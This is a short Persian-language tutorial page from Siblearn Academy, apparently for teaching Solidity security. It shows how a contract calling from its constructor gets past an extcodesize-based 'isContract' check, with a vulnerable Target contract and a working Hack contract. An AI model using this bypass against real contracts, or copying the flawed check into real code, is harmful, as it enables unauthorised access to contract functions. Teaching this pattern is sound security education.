Siblearn Academy siblearn academy

Bypass Contract Size Check

اگر یک آدرس یک قرارداد باشد، اندازه کد ذخیره شده در آدرس بزرگتر از 0 خواهد بود درست است؟

بیایید ببینیم چگونه می توانیم یک قرارداد با اندازه کد بازگردانده شده توسط extcodesize برابر با 0


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}

روی محیط توسعه ی Remix امتحان بکنید

  • ContractSize.sol
  • بازگشت به لیست